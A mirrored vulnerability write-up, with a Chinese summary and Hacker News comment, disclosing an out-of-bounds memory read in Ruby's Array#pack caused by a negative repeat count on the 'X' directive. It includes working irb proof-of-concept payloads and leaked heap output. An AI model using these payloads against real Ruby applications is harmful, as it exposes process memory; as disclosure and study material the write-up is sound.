自2002年起存在的Ruby漏洞
Ruby Array Pack Bleed

原始链接: https://nastystereo.com/security/ruby-pack.html

## Ruby 数组 Pack 漏洞总结 Ruby MRI (4.0.0 版本及更早版本,可能回溯到 1.6.7) 的 `Array#pack` 方法中发现了一个内存泄露漏洞。该方法根据模板字符串将数组元素转换为二进制字符串。漏洞源于模板中重复计数处理不当。 具体来说,由于处理过程中无符号和有符号整数类型不匹配,可能会生成负的重复计数。利用 'X' 指令(旨在在字符串中向后移动指针),当提供负的重复计数时,可以实现受控的字符串扩展。 虽然内置的保护条件限制了任意内存泄露,但通过仔细控制初始字符串长度(使其对齐到 2 的幂),可以绕过此保护,从而泄露潜在的敏感数据。修复已在 PR #15763 中跟踪。 尽管 `pack` 方法不常用,但此漏洞凸显了 Ruby 核心整数处理中潜在的风险。

Hacker News 新闻 | 过去 | 评论 | 提问 | 展示 | 招聘 | 提交 登录 Ruby 数组溢出 (nastystereo.com) 60 分,pentestercrab 1 天前 | 隐藏 | 过去 | 收藏 | 1 条评论 matltc 1 天前 [–] 这个漏洞存在了 20 多年,真是令人震惊。这表明 C 语言的漏洞有多么可怕,尤其是涉及有符号和无符号交互行为的转换(通常是隐式的,但本例中不是)。回复 指南 | 常见问题 | 列表 | API | 安全 | 法律 | 申请 YC | 联系 搜索:
相关文章

原文
Ruby Array Pack Bleed

Luke Jahnke28 December 2025

With the release of Ruby 4.0.0 on Christmas, I decided to revisit integer handling bugs within Ruby MRI, the canonical implementation of the Ruby programming language. This lead me to discover a vulnerability which allows reading memory out of bounds of the allocated string buffer. Although memory disclosure vulnerabilities have a serious impact, it is important to note that affected method is rarely used in real Ruby applications and very rarely would an attacker have control over the argument to the method call. The vulnerability affects Ruby 4.0.0 and prior, likely back as far as even Ruby 1.6.7 which was released in 2002. Follow the progress of the fix in PR #15763.

The vulnerability exists within the instance method pack of the Array class. The pack method accepts a template string argument, which it uses to determine how to convert the array's elements into a binary string. A template string is comprised of directives, where a directive is typically a single letter, such as "H" to indicate a hex string with high nibble first or "m" to indicate a base64 encoded string. The list of directives are inspired by Perl and the full list can be found in the Ruby Packed Data documentation. The directives may be followed by a repeat count which specifies how much a directive should consume, where H2 would consume two hex characters. It is this repeat count which can be unexpectedly made negative resulting in the vulnerability.

The code responsible for repeat count handling of Array#pack can be found inside ruby/pack.c and looks as follows:

static VALUE
pack_pack(rb_execution_context_t *ec, VALUE ary, VALUE fmt, VALUE buffer)
{
[...]
    long len, idx, plen;
[...]
    p = RSTRING_PTR(fmt);
[...]
        else if (ISDIGIT(*p)) {
[...]
            len = STRTOUL(p, (char**)&p, 10);

This code retrieves the repeat count and stores it in the len variable. While the STRTOUL macro expands to a call to ruby_strtoul, which returns an unsigned long, the len variable is itself a signed long. This mismatch of unsigned and signed means large unsigned values will be interpreted as negative values when stored in len.

Now with the ability to generate a negative repeat count, we must find a directive that does something useful with a negative repeat count. Fortunately the X directive exists which is documented to "back up a byte" and behaves as follows:

irb(main):001> ["414243"].pack("H6")
=> "ABC"

irb(main):002> ["414243"].pack("H6X")
=> "AB"

irb(main):003> ["414243"].pack("H6XX")
=> "A"

irb(main):004> ["414243"].pack("H6X2")
=> "A"

The implementation of the X directive is also found inside ruby/pack.c and looks as follows:

static VALUE
pack_pack(rb_execution_context_t *ec, VALUE ary, VALUE fmt, VALUE buffer)
{
[...]
        switch (type) {
[...]
          case 'X':   /* back up byte */
          shrink:
            plen = RSTRING_LEN(res);
            if (plen < len)
                rb_raise(rb_eArgError, "X outside of string");
            rb_str_set_len(res, plen - len);
            break;
[...]

What makes the X directive useful is that if we shrink our string by a negative amount we will unexpectedly grow the string instead.

irb(main):001> ["414243"].pack("H6X#{2**64}")
(irb):1:in 'Array#pack': pack length too big (RangeError)
        from (irb):1:in '<main>'
        from /usr/local/lib/ruby/gems/4.0.0/gems/irb-1.16.0/exe/irb:9:in '<top (required)>'
        from /usr/local/lib/ruby/4.0.0/rubygems.rb:303:in 'Kernel#load'
        from /usr/local/lib/ruby/4.0.0/rubygems.rb:303:in 'Gem.activate_and_load_bin_path'
        from /usr/local/bin/irb:25:in '<main>'

irb(main):002> ["414243"].pack("H6X#{2**64 - 1}")
=> "ABC\x00"

irb(main):003> ["414243"].pack("H6X#{2**64 - 2}")
=> "ABC\x00\x00"

[...]

irb(main):012> ["414243"].pack("H6X#{2**64 - 11}")
=> "ABC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

irb(main):013> ["414243"].pack("H6X#{2**64 - 12}")
=> "ABC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

irb(main):014> ["414243"].pack("H6X#{2**64 - 13}")
<internal:pack>:8: [BUG] probable buffer overflow: 16 for 15
ruby 4.0.0 (2025-12-25 revision 553f1675f3) +PRISM [x86_64-linux]

-- Control frame information -----------------------------------------------
c:0022 p:0003 s:0123 e:000122 l:y b:0001 METHOD <internal:pack>:8
c:0021 p:0024 s:0116 e:000115 l:n b:---- EVAL   (irb):14 [FINISH]
c:0020 p:---- s:0113 e:000112 l:y b:---- CFUNC  :eval

[...]

/usr/local/lib/libruby.so.4.0(rb_str_resize) /usr/src/ruby/string.c:3443
/usr/local/lib/libruby.so.4.0(pack_pack+0x9be) [0x7f6e215ca4be] /usr/src/ruby/pack.c:639

[...]

<internal:pack>:8: [BUG] Aborted at 0x0000000000000001
ruby 4.0.0 (2025-12-25 revision 553f1675f3) +PRISM [x86_64-linux]

Crashed while printing bug report

We cannot leak an arbitrary amount of memory due to the guard condition we encounter within rb_str_set_len inside ruby/string.c which looks as follows:

void    
rb_str_set_len(VALUE str, long len)
{
[...]
    if (len > (capa = (long)str_capacity(str, termlen)) || len < 0) {
        rb_bug("probable buffer overflow: %ld for %ld", len, capa);
    }

By trying strings of different length, the capacity was found to be rounded to the next power of two. This means with control of the string inside the array that is being packed, we can select a string length equal to a power of two to leak the most while avoiding triggering the guard condition.

irb(main):001> ["A"*512].pack("a512X#{2**64-511}")
=> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA\x00\x0E\xD8D\x11\x7F\x00\x00`\x0E\xD8D\x11\x7F\x00\
x00\xD8\x9F\xC9D\x11\x7F\x00\x00p\x11\xCAD\x11\x7F\x00\x00p\x17\xC9D\x1
1\x7F\x00\x008\x18\xC9D\x11\x7F\x00\x00x\x0E\xBBD\x11\x7F\x00\x00(\x0E\
xBBD\x11\x7F\x00\x00\x80\xD3\xC5D\x11\x7F\x00\x00\xF8\xD3\xC5D\x11\x7F\
x00\x00\x98\xD4\xC5D\x11\x7F\x00\x00\xF8\xA1\xEDD\x11\x7F\x00\x00(\xA4\
xEDD\x11\x7F\x00\x00X\xB0\xEDD\x11\x7F\x00\x00\x98\xB1\xEDD\x11\x7F\x00
\x00P\xC7\xEDD\x11\x7F\x00\x00`\xB2\xEDD\x11\x7F\x00\x00\x80\x97\xEDD\x
11\x7F\x00\x00\x18\xC8\xEDD\x11\x7F\x00\x00\bX\x9BD\x11\x7F\x00\x00\b\x
D5\xAAD\x11\x7F\x00\x00\xE8\xD6\xAAD\x11\x7F\x00\x00\x80\xD5\xAAD\x11\x
7F\x00\x00\x90\xD4\xAAD\x11\x7F\x00\x008\xD7\xAAD\x11\x7F\x00\x00\xD0\x
BE\xE4D\x11\x7F\x00\x00\xD8\xCF\xE4D\x11\x7F\x00\x00\xC8\xD0\xE4D\x11\x
7F\x00\x000\xD2\xE4D\x11\x7F\x00\x00\b\xD2\xE4D\x11\x7F\x00\x00\b\xE6\x
E4D\x11\x7F\x00\x00\x18\xD1\xE4D\x11\x7F\x00\x00\xE0\xD1\xE4D\x11\x7F\x
00\x00PN\xCBD\x11\x7F\x00\x00\x18O\xCBD\x11\x7F\x00\x00\xA0N\xCBD\x11\x
7F\x00\x00hO\xCBD\x11\x7F\x00\x00\xA0S\xCBD\x11\x7F\x00\x00\xB0R\xCBD\x
11\x7F\x00\x00xS\xCBD\x11\x7F\x00\x008R\xCBD\x11\x7F\x00\x00\x18T\xCBD\
x11\x7F\x00\x00\xD8\xE0\xECD\x11\x7F\x00\x00`\xCC\xECD\x11\x7F\x00\x00\
xB0\x00\xE6D\x11\x7F\x00\x00\x88r\xECD\x11\x7F\x00\x00\xF0\x16\xDBD\x11
\x7F\x00\x00P\x16\xDBD\x11\x7F\x00\x00\xC0\x96\xDBD\x11\x7F\x00\x00@\x9
4\xDBD\x11\x7F\x00\x00\xE0\xF3\xDBD\x11\x7F\x00\x00P\xF2\xDBD\x11\x7F\x
00\x00\xA8W\xECD\x11\x7F\x00\x00@W\xE6D\x11\x7F\x00\x00\xF0V\xE6D\x11\x
7F\x00\x00\xC8\xC8\xD8D\x11\x7F\x00\x000\xD9\xD8D\x11\x7F\x00\x00P\v\xE
6D\x11\x7F\x00\x00\xC8V\xE6D\x11\x7F\x00\x00\xA8\x03\xE6D\x11\x7F\x00\x
00\xE8J\xE6D\x11\x7F\x00\x00H\xCB\xD8D\x11\x7F\x00\x00X\xD9\xD8D\x11\x7
F\x00\x00\xD8^\xECD\x11\x7F\x00"
联系我们 contact @ memedata.com